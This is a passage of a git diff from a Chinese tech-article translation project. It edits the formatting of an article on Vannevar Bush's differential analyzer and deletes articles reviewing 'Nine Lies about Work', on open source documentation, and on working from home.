about the quality of a company, their status inside that company, and their pay, but as soon as work begins, team engagement becomes far more important to them. That's because teams focus on what we do on a daily basis. Those teams might even be unofficial groups inside an organization—"[internal communities][9]," we might call them. Buckingham and Goodall provide eight characteristics of great teams, and these characteristics would ring equally true in [open organization communities][2]. The authors present them separated into two categories—"We"-related and "Me"-related): - - * The members are enthusiastic about the team mission ("We"). - * Each is surrounded by people who share the same values ("We"). - * Their teammates will stand behind them when needed ("We") - * The members feel confident regarding the future of the company ("We"). - * Each member understands what is expected ("Me"). - * Everyone feels they have a chance to use their particular strengths ("Me"). According to a 2018 study from ADP Research Institute, cited in the book's appendix, if we can use our strengths that bring us joy and energizes us 20% of the time at work, total work engagement skyrockets. - * All members can be recognized for excellent work ("Me"). - * The members are challenged to grow ("Me"). - - - -All these characteristics describe a healthy culture in an open organization community. - -According to the authors, a company should explore what [informal, unofficial teams][10] it has and learn what they're involved in. Usually, they say, the average person is on five teams, each with different purposes. Ask people if they have these types of teams (or a single mentor) with whom they can consult inside the company. Larger, more formal groups are less important. - -More important, however, are lunch meetings between informal team members or chats in corners discussing how they can help each other. When I was providing sales seminars, for example, I would walk around the company cafeteria and have these discussions with global sales departments. By doing this, I developed strong communities over a 20-year period. The quality and quantities of these teams are directly connected to employee engagement and are extremely important to the success of a company, according to the authors. An organizational leader's primary job is to create an environment where these teams can grow and thrive. - -### Forget planning - -Next, let's turn to Lie #2: the best plan wins. Buckingham and Goodall believe the best front-line intelligence wins. Open organizations [rely a great deal on bottom-up management techniques][11], which fits nicely into what the authors are saying here. All the action is on the front-line, and real-time reporting to management on situational developments is extremely important, according to the authors. Conditions are changing so fast that [by the time some plans are introduced, they are already out-of-date][12]. That is why open organizations strongly believe in cultivating ground-level decision-making practices. People closest to the issues know what's happening. - -Regarding [open organization principles][2], we might note the emphasis on getting front-line information in real-time and broadly distributing it as much as possible (inclusivity, transparency, broader community), as well as encouraging and reporting front-line suggestions (collaboration, adaptability). Communication is two-way. To share information efficiently and understand when it's needed, Buckingham and Goodall believe that many small, short, frequent meetings are always more productive than large, long, infrequent ones. - -### Don't judge - -Next, let's examine Lie #5: People need feedback. The authors do recognize people's need for nonjudgmental, uncritical attention, and their desire to be recognized. A leader's level of uncritical attention is directly connected to the level of staff engagement. Just asking, "[How are you doing in your work?][13]" and "Well, how can I help?" is all that is needed. - -The authors believe that the worst managers are those that ignore people. Average managers don't ignore people, but they give negative feedback, which weakens their teams' feelings of engagement. The best managers, team leaders, or community leaders don't ignore and don't judge. At least weekly, they simply ask questions and provide help if needed. A high degree of managerial attention directly improves front-line engagement. The authors believe that it makes members feel connected, supported, and understood. - -Buckingham and Goodall believe that looking at a staff's negative qualities is a natural tendency. Therefore, leaders and managers must make strong efforts to avoid doing so. This effort is worth it, the authors argue, as it results in greater performance, engagement, and growth. For example, when I was giving sales manager training, I frequently needed to address the situation of handling sales staff coming to the manager to help them with a customer problem. I recommended that the manager just ask the sales staff a simple question: "What did you do and say when you met the customer, and what would you do differently if you could visit the customer all over again?" This forced salespeople to come up with their own advice. - -### Concluding thoughts - -_Nine Lies about Work_ has much to teach anyone interested in open organizations. Buckingham is a global researcher in human strengths development and performance; Goodall is a senior VP in leadership and team intelligence at Cisco. It is amazing how closely their beliefs align with open organization principles. The ways they articulate those beliefs in this book are enlightening. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/4/book-review-nine-lies-about-work - -作者:[Ron McFarland][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ron-mcfarland -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_pink2.png?itok=I5Wgct6V (Carrot on a stick) -[2]: https://opensource.com/open-organization/resources/open-org-definition -[3]: https://opensource.com/open-organization/18/10/understanding-engagement-empowerment -[4]: https://opensource.com/open-organization/19/5/planning-future-unknowable -[5]: https://opensource.com/open-organization/18/7/culture-of-experimentation-in-4-steps -[6]: https://opensource.com/open-organization/15/5/measuring-performance-open-source-way -[7]: https://opensource.com/open-organization/15/11/reigniting-employee-passion -[8]: https://opensource.com/open-organization/18/12/what-is-open-leadership -[9]: https://opensource.com/open-organization/19/11/what-is-community-practice -[10]: https://opensource.com/open-organization/20/1/why-build-community-of-practice -[11]: https://opensource.com/open-organization/17/3/making-better-open-decisions -[12]: https://opensource.com/open-organization/18/3/try-learn-modify -[13]: https://opensource.com/open-organization/16/10/how-ask-why-without-upsetting-anyone diff --git a/sources/talk/20200406 How to Use a Differential Analyzer (to Murder People).md b/sources/talk/20200406 How to Use a Differential Analyzer (to Murder People).md index 6796e25603..33c7b47d73 100644 --- a/sources/talk/20200406 How to Use a Differential Analyzer (to Murder People).md +++ b/sources/talk/20200406 How to Use a Differential Analyzer (to Murder People).md @@ -1,11 +1,11 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to Use a Differential Analyzer (to Murder People)) -[#]: via: (https://twobithistory.org/2020/04/06/differential-analyzer.html) -[#]: author: (Two-Bit History https://twobithistory.org) +[#]: subject: "How to Use a Differential Analyzer (to Murder People)" +[#]: via: "https://twobithistory.org/2020/04/06/differential-analyzer.html" +[#]: author: "Two-Bit History https://twobithistory.org" +[#]: collector: "lujun9972" +[#]: translator: "toknow-gh" +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " How to Use a Differential Analyzer (to Murder People) ====== @@ -20,21 +20,21 @@ To understand how differential analyzers could do all this, you will need to kno Differential equations are something you might first encounter in the final few weeks of a college-level Calculus I course. By that point in the semester, your underpaid adjunct professor will have taught you about limits, derivatives, and integrals; if you take those concepts and add an equals sign, you get a differential equation. -Differential equations describe rates of change in terms of some other variable (or perhaps multiple other variables). Whereas a familiar algebraic expression like (y = 4x + 3) specifies the relationship between some variable quantity (y) and some other variable quantity (x), a differential equation, which might look like (\frac{dy}{dx} = x), or even (\frac{dy}{dx} = 2), specifies the relationship between a _rate of change_ and some other variable quantity. Basically, a differential equation is just a description of a rate of change in exact mathematical terms. The first of those last two differential equations is saying, “The variable (y) changes with respect to (x) at a rate defined exactly by (x),” and the second is saying, “No matter what (x) is, the variable (y) changes with respect to (x) at a rate of exactly 2.” +Differential equations describe rates of change in terms of some other variable (or perhaps multiple other variables). Whereas a familiar algebraic expression like \\(y = 4x + 3\\) specifies the relationship between some variable quantity \\(y\\) and some other variable quantity \\(x\\), a differential equation, which might look like \\(\frac{dy}{dx} = x\\), or even \\(\frac{dy}{dx} = 2\\), specifies the relationship between a _rate of change_ and some other variable quantity. Basically, a differential equation is just a description of a rate of change in exact mathematical terms. The first of those last two differential equations is saying, “The variable \\(y\\) changes with respect to \\(x\\) at a rate defined exactly by \\(x\\),” and the second is saying, “No matter what \\(x\\) is, the variable \\(y\\) changes with respect to \\(x\\) at a rate of exactly 2.” -Differential equations are useful because in the real world it is often easier to describe how complex systems change from one instant to the next than it is to come up with an equation describing the system at all possible instants. Differential equations are widely used in physics and engineering for that reason. One famous differential equation is the heat equation, which describes how heat diffuses through an object over time. It would be hard to come up with a function that fully describes the distribution of heat throughout an object given only a time (t), but reasoning about how heat diffuses from one time to the next is less likely to turn your brain into soup—the hot bits near lots of cold bits will probably get colder, the cold bits near lots of hot bits will probably get hotter, etc. So the heat equation, though it is much more complicated than the examples in the last paragraph, is likewise just a description of rates of change. It describes how the temperature of any one point on the object will change over time given how its temperature differs from the points around it. +Differential equations are useful because in the real world it is often easier to describe how complex systems change from one instant to the next than it is to come up with an equation describing the system at all possible instants. Differential equations are widely used in physics and engineering for that reason. One famous differential equation is the heat equation, which describes how heat diffuses through an object over time. It would be hard to come up with a function that fully describes the distribution of heat throughout an object given only a time \\(t\\), but reasoning about how heat diffuses from one time to the next is less likely to turn your brain into soup—the hot bits near lots of cold bits will probably get colder, the cold bits near lots of hot bits will probably get hotter, etc. So the heat equation, though it is much more complicated than the examples in the last paragraph, is likewise just a description of rates of change. It describes how the temperature of any one point on the object will change over time given how its temperature differs from the points around it. -Let’s consider another example that I think will make all of this more concrete. If I am standing in a vacuum and throw a tennis ball straight up, will it come back down before I asphyxiate? This kind of question, posed less dramatically, is the kind of thing I was asked in high school physics class, and all I needed to solve it back then were some basic Newtonian equations of motion. But let’s pretend for a minute that I have forgotten those equations and all I can remember is that objects accelerate toward earth at a constant rate of (g), or about (10 ;m/s^2). How can differential equations help me solve this problem? +Let’s consider another example that I think will make all of this more concrete. If I am standing in a vacuum and throw a tennis ball straight up, will it come back down before I asphyxiate? This kind of question, posed less dramatically, is the kind of thing I was asked in high school physics class, and all I needed to solve it back then were some basic Newtonian equations of motion. But let’s pretend for a minute that I have forgotten those equations and all I can remember is that objects accelerate toward earth at a constant rate of \\(g\\), or about \\(10 \;m/s^2\\). How can differential equations help me solve this problem? -Well, we can express the one thing I remember about high school physics as a differential equation. The tennis ball, once it leaves my hand, will accelerate toward the earth at a rate of (g). This is the same as saying that the velocity of the ball will change (in the negative direction) over time at a rate of (g). We could even go one step further and say that _the rate of change in the height of my ball above the ground_ (this is just its velocity) will change over time at a rate of negative (g). We can write this down as the following, where (h) represents height and (t) represents time: +Well, we can express the one thing I remember about high school physics as a differential equation. The tennis ball, once it leaves my hand, will accelerate toward the earth at a rate of \\(g\\). This is the same as saying that the velocity of the ball will change (in the negative direction) over time at a rate of \\(g\\). We could even go one step further and say that _the rate of change in the height of my ball above the ground_ (this is just its velocity) will change over time at a rate of negative \\(g\\). We can write this down as the following, where \\(h\\) represents height and \\(t\\) represents time: -[\frac{d^2h}{dt^2} = -g] +\\[\frac{d^2h}{dt^2} = -g\\] -This looks slightly different from the differential equations we have seen so far because this is what is known as a second-order differential equation. We are talking about the rate of change of a rate of change, which, as you might remember from your own calculus education, involves second derivatives. That’s why parts of the expression on the left look like they are being squared. But this equation is still just expressing the fact that the ball accelerates downward at a constant acceleration of (g). +This looks slightly different from the differential equations we have seen so far because this is what is known as a second-order differential equation. We are talking about the rate of change of a rate of change, which, as you might remember from your own calculus education, involves second derivatives. That’s why parts of the expression on the left look like they are being squared. But this equation is still just expressing the fact that the ball accelerates downward at a constant acceleration of \\(g\\). -From here, one option I have is to use the tools of calculus to solve the differential equation. With differential equations, this does not mean finding a single value or set of values that satisfy the relationship but instead finding a function or set of functions that do. Another way to think about this is that the differential equation is telling us that there is some function out there whose second derivative is the constant (-g); we want to find that function because it will give us the height of the ball at any given time. This differential equation happens to be an easy one to solve. By doing so, we can re-derive the basic equations of motion that I had forgotten and easily calculate how long it will take the ball to come back down. +From here, one option I have is to use the tools of calculus to solve the differential equation. With differential equations, this does not mean finding a single value or set of values that satisfy the relationship but instead finding a function or set of functions that do. Another way to think about this is that the differential equation is telling us that there is some function out there whose second derivative is the constant \\(-g\\); we want to find that function because it will give us the height of the ball at any given time. This differential equation happens to be an easy one to solve. By doing so, we can re-derive the basic equations of motion that I had forgotten and easily calculate how long it will take the ball to come back down. -But most of the time differential equations are hard to solve. Sometimes they are even impossible to solve. So another option I have, given that I paid more attention in my computer science classes that my calculus classes in college, is to take my differential equation and use it as the basis for a simulation. If I know the starting velocity and the acceleration of my tennis ball, then I can easily write a little for-loop, perhaps in Python, that iterates through my problem second by second and tells me what the velocity will be at any given second (t) after the initial time. Once I’ve done that, I could tweak my for-loop so that it also uses the calculated velocity to update the height of the ball on each iteration. Now I can run my Python simulation and figure out when the ball will come back down. My simulation won’t be perfectly accurate, but I can decrease the size of the time step if I need more accuracy. All I am trying to accomplish anyway is to figure out if the ball will come back down while I am still alive. +But most of the time differential equations are hard to solve. Sometimes they are even impossible to solve. So another option I have, given that I paid more attention in my computer science classes that my calculus classes in college, is to take my differential equation and use it as the basis for a simulation. If I know the starting velocity and the acceleration of my tennis ball, then I can easily write a little for-loop, perhaps in Python, that iterates through my problem second by second and tells me what the velocity will be at any given second \\(t\\) after the initial time. Once I’ve done that, I could tweak my for-loop so that it also uses the calculated velocity to update the height of the ball on each iteration. Now I can run my Python simulation and figure out when the ball will come back down. My simulation won’t be perfectly accurate, but I can decrease the size of the time step if I need more accuracy. All I am trying to accomplish anyway is to figure out if the ball will come back down while I am still alive. This is the numerical approach to solving a differential equation. It is how differential equations are solved in practice in most fields where they arise. Computers are indispensable here, because the accuracy of the simulation depends on us being able to take millions of small little steps through our problem. Doing this by hand would obviously be error-prone and take a long time. @@ -52,39 +52,39 @@ A mechanical integrator consists of one large spinning disc and one much smaller The speed at which the wheel turns will depend on how far from the center of the disc the wheel is positioned. The inner parts of the disc, of course, are rotating more slowly than the outer parts. The wheel stays fixed where it is, but the disc is mounted on a carriage that can be moved back and forth in one direction, which repositions the wheel relative to the center of the disc. Now this is the key to how the integrator works: The position of the disc carriage is driven by the input function to the integrator. The output from the integrator is determined by the rotation of the small wheel. So your input function drives the rate of change of your output function and you have just transformed the derivative of some function into the function itself—which is what we call integration! -If that explanation does nothing for you, seeing a mechanical integrator in action really helps. The principle is surprisingly simple and there is no way to watch the device operate without grasping how it works. So I have created [a visualization of a running mechanical integrator][2] that I encourage you to take a look at. The visualization shows the integration of some function (f(x)) into its antiderivative (F(x)) while various things spin and move. It’s pretty exciting. +If that explanation does nothing for you, seeing a mechanical integrator in action really helps. The principle is surprisingly simple and there is no way to watch the device operate without grasping how it works. So I have created [a visualization of a running mechanical integrator][2] that I encourage you to take a look at. The visualization shows the integration of some function \\(f(x)\\) into its antiderivative \\(F(x)\\) while various things spin and move. It’s pretty exciting. ![][3] _A nice screenshot of my visualization, but you should check out the real thing!_ So we have a component that can do integration for us, but that alone is not enough to solve a differential equation. To explain the full process to you, I’m going to use an example that Bush offers himself in his 1931 paper, which also happens to be essentially the same example we contemplated in our earlier discussion of differential equations. (This was a happy accident!) Bush introduces the following differential equation to represent the motion of a falling body: -[\frac{d^2x}{dt^2} = -k,\frac{dx}{dt} - g] +\\[\frac{d^2x}{dt^2} = -k\,\frac{dx}{dt} - g\\] -This is the same equation we used to model the motion of our tennis ball, only Bush has used (x) in place of (h) and has added another term that accounts for how air resistance will decelerate the ball. This new term describes the effect of air resistance on the ball in the simplest possible way: The air will slow the ball’s velocity at a rate that is proportional to its velocity (the (k) here is some proportionality constant whose value we don’t really care about). So as the ball moves faster, the force of air resistance will be stronger, further decelerating the ball. +This is the same equation we used to model the motion of our tennis ball, only Bush has used \\(x\\) in place of \\(h\\) and has added another term that accounts for how air resistance will decelerate the ball. This new term describes the effect of air resistance on the ball in the simplest possible way: The air will slow the ball’s velocity at a rate that is proportional to its velocity (the \\(k\\) here is some proportionality constant whose value we don’t really care about). So as the ball moves faster, the force of air resistance will be stronger, further decelerating the ball. -To configure a differential analyzer to solve this differential equation, we have to start with what Bush calls the “input table.” The input table is just a piece of graphing paper mounted on a carriage. If we were trying to solve a more complicated equation, the operator of the machine would first plot our input function on the graphing paper and then, once the machine starts running, trace out the function using a pointer connected to the rest of the machine. In this case, though, our input is just the constant (g), so we only have to move the pointer to the right value and then leave it there. +To configure a differential analyzer to solve this differential equation, we have to start with what Bush calls the “input table.” The input table is just a piece of graphing paper mounted on a carriage. If we were trying to solve a more complicated equation, the operator of the machine would first plot our input function on the graphing paper and then, once the machine starts running, trace out the function using a pointer connected to the rest of the machine. In this case, though, our input is just the constant \\(g\\), so we only have to move the pointer to the right value and then leave it there. -What about the other variables (x) and (t)? The (x) variable is our output as it represents the height of the ball. It will be plotted on graphing paper placed on the output table, which is similar to the input table only the pointer is a pen and is driven by the machine. The (t) variable should do nothing more than advance at a steady rate. (In our Python simulation of the tennis ball problem as posed earlier, we just incremented (t) in a loop.) So the (t) variable comes from the differential analyzer’s motor, which kicks off the whole process by rotating the rod connected to it at a constant speed. +What about the other variables \\(x\\) and \\(t\\)? The \\(x\\) variable is our output as it represents the height of the ball. It will be plotted on graphing paper placed on the output table, which is similar to the input table only the pointer is a pen and is driven by the machine. The \\(t\\) variable should do nothing more than advance at a steady rate. (In our Python simulation of the tennis ball problem as posed earlier, we just incremented \\(t\\) in a loop.) So the \\(t\\) variable comes from the differential analyzer’s motor, which kicks off the whole process by rotating the rod connected to it at a constant speed. Bush has a helpful diagram documenting all of this that I will show you in a second, but first we need to make one more tweak to our differential equation that will make the diagram easier to understand. We can integrate both sides of our equation once, yielding the following: -[\frac{dx}{dt} = - \int \left(k,\frac{dx}{dt} + g\right),dt] +\\[\frac{dx}{dt} = - \int \left(k\,\frac{dx}{dt} + g\right)\,dt\\] The terms in this equation map better to values represented by the rotation of various parts of the machine while it runs. Okay, here’s that diagram: ![][4] _The differential analyzer configured to solve the problem of a falling body in one dimension._ -The input table is at the top of the diagram. The output table is at the bottom-right. The output table here is set up to graph both (x) and (\frac{dx}{dt}), i.e. height and velocity. The integrators appear at the bottom-left; since this is a second-order differential equation, we need two. The motor drives the very top rod labeled (t). (Interestingly, Bush referred to these horizontal rods as “buses.”) +The input table is at the top of the diagram. The output table is at the bottom-right. The output table here is set up to graph both \\(x\\) and \\(\frac{dx}{dt}\\), i.e. height and velocity. The integrators appear at the bottom-left; since this is a second-order differential equation, we need two. The motor drives the very top rod labeled \\(t\\). (Interestingly, Bush referred to these horizontal rods as “buses.”) -That leaves two components unexplained. The box with the little (k) in it is a multiplier respresnting our proportionality constant (k). It takes the rotation of the rod labeled (\frac{dx}{dt}) and scales it up or down using a gear ratio. The box with the (\sum) symbol is an adder. It uses a clever arrangement of gears to add the rotations of two rods together to drive a third rod. We need it since our equation involves the sum of two terms. These extra components available in the differential analyzer ensure that the machine can flexibly simulate equations with all kinds of terms and coefficients. +That leaves two components unexplained. The box with the little \\(k\\) in it is a multiplier respresnting our proportionality constant \\(k\\). It takes the rotation of the rod labeled \\(\frac{dx}{dt}\\) and scales it up or down using a gear ratio. The box with the \\(\sum\\) symbol is an adder. It uses a clever arrangement of gears to add the rotations of two rods together to drive a third rod. We need it since our equation involves the sum of two terms. These extra components available in the differential analyzer ensure that the machine can flexibly simulate equations with all kinds of terms and coefficients. -I find it helpful to reason in ultra-slow motion about the cascade of cause and effect that plays out as soon as the motor starts running. The motor immediately begins to rotate the rod labeled (t) at a constant speed. Thus, we have our notion of time. This rod does three things, illustrated by the three vertical rods connected to it: it drives the rotation of the discs in both integrators and also advances the carriage of the output table so that the output pen begins to draw. +I find it helpful to reason in ultra-slow motion about the cascade of cause and effect that plays out as soon as the motor starts running. The motor immediately begins to rotate the rod labeled \\(t\\) at a constant speed. Thus, we have our notion of time. This rod does three things, illustrated by the three vertical rods connected to it: it drives the rotation of the discs in both integrators and also advances the carriage of the output table so that the output pen begins to draw. -Now if the integrators were set up so that their wheels are centered, then the rotation of rod (t) would cause no other rods to rotate. The integrator discs would spin but the wheels, centered as they are, would not be driven. The output chart would just show a flat line. This happens because we have not accounted for the initial conditions of the problem. In our earlier Python simulation, we needed to know the initial velocity of the ball, which we would have represented there as a constant variable or as a parameter of our Python function. Here, we account for the initial velocity and acceleration by displacing the integrator discs by the appropriate amount before the machine begins to run. +Now if the integrators were set up so that their wheels are centered, then the rotation of rod \\(t\\) would cause no other rods to rotate. The integrator discs would spin but the wheels, centered as they are, would not be driven. The output chart would just show a flat line. This happens because we have not accounted for the initial conditions of the problem. In our earlier Python simulation, we needed to know the initial velocity of the ball, which we would have represented there as a constant variable or as a parameter of our Python function. Here, we account for the initial velocity and acceleration by displacing the integrator discs by the appropriate amount before the machine begins to run. -Once we’ve done that, the rotation of rod (t) propagates through the whole system. Physically, a lot of things start rotating at the same time, but we can think of the rotation going first to integrator II, which combines it with the acceleration expression calculated based on (g) and then integrates it to get the result (\frac{dx}{dt}). This represents the velocity of the ball. The velocity is in turn used as input to integrator I, whose disc is displaced so that the output wheel rotates at the rate (\frac{dx}{dt}). The output from integrator I is our final output (x), which gets routed directly to the output table. +Once we’ve done that, the rotation of rod \\(t\\) propagates through the whole system. Physically, a lot of things start rotating at the same time, but we can think of the rotation going first to integrator II, which combines it with the acceleration expression calculated based on \\(g\\) and then integrates it to get the result \\(\frac{dx}{dt}\\). This represents the velocity of the ball. The velocity is in turn used as input to integrator I, whose disc is displaced so that the output wheel rotates at the rate \\(\frac{dx}{dt}\\). The output from integrator I is our final output \\(x\\), which gets routed directly to the output table. -One confusing thing I’ve glossed over is that there is a cycle in the machine: Integrator II takes as an input the rotation of the rod labeled ((k,\frac{dx}{dt} + g)), but that rod’s rotation is determined in part by the output from integrator II itself. This might make you feel queasy, but there is no physical issue here—everything is rotating at once. If anything, we should not be surprised to see cycles like this, since differential equations often describe rates of change in a function as a function of the function itself. (In this example, the acceleration, which is the rate of change of velocity, depends on the velocity.) +One confusing thing I’ve glossed over is that there is a cycle in the machine: Integrator II takes as an input the rotation of the rod labeled \\((k\,\frac{dx}{dt} + g)\\), but that rod’s rotation is determined in part by the output from integrator II itself. This might make you feel queasy, but there is no physical issue here—everything is rotating at once. If anything, we should not be surprised to see cycles like this, since differential equations often describe rates of change in a function as a function of the function itself. (In this example, the acceleration, which is the rate of change of velocity, depends on the velocity.) With everything correctly configured, the output we get is a nice graph, charting both the position and velocity of our ball over time. This graph is on paper. To our modern digital sensibilities, that might seem absurd. What can you do with a paper graph? While it’s true that the differential analyzer is not so magical that it can write out a neat mathematical expression for the solution to our problem, it’s worth remembering that neat solutions to many differential equations are not possible anyway. The paper graph that the machine does write out contains exactly the same information that could be output by our earlier Python simulation of a falling ball: where the ball is at any given time. It can be used to answer any practical question you might have about the problem. @@ -138,10 +138,10 @@ via: https://twobithistory.org/2020/04/06/differential-analyzer.html [2]: https://sinclairtarget.com/differential-analyzer/ [3]: https://twobithistory.org/images/diff-analyzer-viz.png [4]: https://twobithistory.org/images/analyzer-diagram.png -[5]: tmp.GUgd146Tkg#fn:1 -[6]: tmp.GUgd146Tkg#fn:2 +[5]: tmp.MoynZsbJ7w#fn:1 +[6]: tmp.MoynZsbJ7w#fn:2 [7]: https://twitter.com/TwoBitHistory [8]: https://twobithistory.org/feed.xml [9]: https://twitter.com/TwoBitHistory/status/1224014531778826240?ref_src=twsrc%5Etfw -[10]: tmp.GUgd146Tkg#fnref:1 -[11]: tmp.GUgd146Tkg#fnref:2 +[10]: tmp.MoynZsbJ7w#fnref:1 +[11]: tmp.MoynZsbJ7w#fnref:2 diff --git a/sources/talk/20200406 What is good documentation for software projects.md b/sources/talk/20200406 What is good documentation for software projects.md deleted file mode 100644 index 7726287131..0000000000 --- a/sources/talk/20200406 What is good documentation for software projects.md +++ /dev/null @@ -1,156 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What is good documentation for software projects?) -[#]: via: (https://opensource.com/article/20/4/documentation) -[#]: author: (Cameron Shorter https://opensource.com/users/cameronshorter) - -What is good documentation for software projects? -====== -Mixing experienced tech writers with open source communities reveals new -approaches for creating better docs. -![Typewriter with hands][1] - -The [Open Geospatial (OSGeo) Foundation][2] recently participated in Google's first [Season of Docs][3], in which Google sponsored senior technical writers to contribute to open source projects. OSGeo is an umbrella organization for around 50 geospatial open source projects. I've contributed to a number of these projects over the years and recently co-mentored the two Season of Docs technical writers Google allocated to OSGeo. - -We discovered during our involvement that, like many open source projects, we knew little about: - - * The state of our docs - * What we were aiming for - * Our priorities - * The details of the challenges we faced - * How to improve - - - -We discovered: - - * How hard it is to keep tech docs current - * Skillsets from multiple roles are needed to create good docs - * Open source's docs and writing processes are immature when compared to software development - - - -It is an exciting problem space with high-value challenges ready to be tackled. It reminds me of the early days of open source, before it became trendy with business. - -### What should tech writers work on? - -Open source communities welcomed the chance to have tech writers improve our docs and expressed a pressing need for it, but found it hard to articulate exactly what needed to be fixed: - - * People explained that their project docs often hadn't been updated between doc releases. - * Some projects had new features that had not been documented. - * Other projects had issue lists, collating observed deficiencies, but had no systematic review. - * Most observed that docs were created by developers with no formal tech writing training. - * Many noted that their English docs were written by non-native English speakers. - - - -But where should we start? We needed to decide on what we wanted and what we should work on first. - -### Defining good docs - -We then realized that we didn't have a good definition of "good documentation." For our software projects, we have a comprehensive [incubation process][4] to assess the maturity of software and the project's community, but we couldn't find a similar set of metrics to define "good documentation." So we started the [Good Docs Project][5] to collate "best-practice templates and writing instructions for documenting open source software." This helped us define what we were aiming for and prioritize what we can achieve with our available resources. - -### Documentation audit - -Once we knew what good docs looked like, we could audit the status of a project's docs: - - * What documentation do we have? - * Does it cover all the functionality? - * Does it cover end-user needs? - * Is the documentation any good? - - - -We discovered that the quality, currency, and completeness of our OSGeo docs were immature when compared to the quality of the software they described. - -### It takes a village to raise good docs - -In researching open source projects' documentation needs, it became clear that crafting good docs requires multiple skillsets. Ideally, a doc team has access to: - - * A developer with a deep understanding of the software being described - * A software user who can explain the application within the context of the application's domain - * An educator who understands the principles of learning - * An information architect who understands how to structure material - * A writer who writes clearly and concisely with good grammar - * Someone who speaks English as a first language (for English docs) - * A translator who is good at translating docs into multiple languages - * A DevOps person who can set up doc-build pipelines - * A community builder, facilitator, and coordinator who can inspire collective action, capture offers of help, and help all these different personas collaborate - - - -Technical writers usually have a high-level understanding of most of these domains, and their skills are often under-appreciated and under-utilized, especially if they are directed with a vague "just clean up the grammar and stuff." - -However, the best docs typically have been influenced by multiple stakeholders. This can be partly achieved by [using templates to collaborate][6] between domains, timeframes, projects, and organizations. - -### Tools for documenting open source projects are painful - -We experienced significant pain in trying to convert between software and [writing toolsets][7]. We love the versioning of Git, are frustrated by clunky Markdown interfaces, and want access to editing and review workflows in Word and Google Docs along with grammar and syntax plugin tools such as Grammarly. Translation tools such as Transifex are pretty cool, too. - -Could someone please write an application that addresses this use case? Maybe there is an idea in here for a future [Google Summer of Code][8]? - -### Achievements during OSGeo's Season of Docs - -We're quite proud of our achievements during OSGeo's participation in Google's Season of Docs. Our allocated tech writers amplified the effectiveness of our existing documentation communities, and our documentation communities amplified the effectiveness of these tech writers: - - * [Felicity Brand][9] worked with around 50 of OSGeo's open source projects to update the Quickstarts as part of our [OSGeoLive][10] distribution of software. - * [Swapnil Ogale][11] worked directly with [GeoNetwork's][12] documentation team, auditing the breadth and quality of docs, setting up templates for future docs, and updating many of the docs. - - - -Further: - - * We kicked off the Good Docs Project to establish "best-practice templates and writing instructions for documenting open source software." - * In conjunction with the [OGC][13] and [ISO][14] spatial standards communities, we kicked off an [OSGeo Lexicon][15] project to coordinate official definitions for terminology used within the OSGeo context. This will apply best-practice definitions to previously haphazard glossaries. - * We did a [deep-dive analysis][16] of the documentation challenges faced by QGIS, one of OSGeo's most successful projects. Surprisingly, its biggest problem isn't a lack of tech writers or complicated tools (although they are factors). Key problems center around: - * Poorly capturing community goodwill and offers of assistance - * Lack of direction - * Struggling to keep up with a rapidly evolving software baseline - * Insufficient writing expertise - * A high technical barrier to entry - * Documentation and training being generated outside of the core project - * Awkward documentation tools and processes - - - -### Thanks, Google - -We are grateful to Google for sponsoring Season of Docs. We've learned plenty from Felicity and Swapnil, the great writers that Google provided to us, and we hope what we have learned will help make future Season of Docs initiatives even better. - -* * * - -_This originally appeared on [Cameron Shorter's blog][17] and is republished with permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/documentation - -作者:[Cameron Shorter][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cameronshorter -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/typewriter-hands.jpg?itok=oPugBzgv (Typewriter with hands) -[2]: https://www.osgeo.org/ -[3]: https://developers.google.com/season-of-docs -[4]: https://www.osgeo.org/about/committees/incubation/graduation/ -[5]: https://thegooddocsproject.dev/ -[6]: http://cameronshorter.blogspot.com/2019/02/inspiring-techies-to-become-great.html -[7]: https://opensource.com/article/20/3/open-source-writing-tools -[8]: https://summerofcode.withgoogle.com/ -[9]: https://flicstar.com/2019/11/27/project-report-for-season-of-docs-2019/ -[10]: https://live.osgeo.org/en/index.html -[11]: https://docs.google.com/document/d/1sTGz8aWPTS6moxgrtsBRz19roemJlilcdQk6B-9IZOo -[12]: https://geonetwork-opensource.org/ -[13]: https://www.ogc.org/ -[14]: https://committee.iso.org/home/tc211 -[15]: https://wiki.osgeo.org/wiki/Lexicon_Committee -[16]: http://cameronshorter.blogspot.com/2019/12/why-qgis-docs-team-is-struggling.html -[17]: https://cameronshorter.blogspot.com/2020/03/insights-from-mixing-writers-with-open.html diff --git a/sources/talk/20200411 5 open source activities while you work from home.md b/sources/talk/20200411 5 open source activities while you work from home.md deleted file mode 100644 index c52818f909..0000000000 --- a/sources/talk/20200411 5 open source activities while you work from home.md +++ /dev/null @@ -1,99 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 open source activities while you work from home) -[#]: via: (https://opensource.com/article/20/4/open-source-activities) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -5 open source activities while you work from home -====== -Work-life balance is important whether you're working from home -temporarily or it's your usual mode of earning a living. -![Person in a field of dandelions][1] - -The mythos of the remote home office or the exciting archetype of the digital nomad are as appealing as they are dangerous. It's great to be able to avoid a commute, to be able to stay comfortable at home while getting lots of work done, and to be master of your own schedule. But along with those liberties, you inherit the responsibility of remembering to be a normal, functioning human being. Believe it or not, the two aren't mutually exclusive. You can do both, but you have to work at it. Here are some ideas on how. - -### Plant 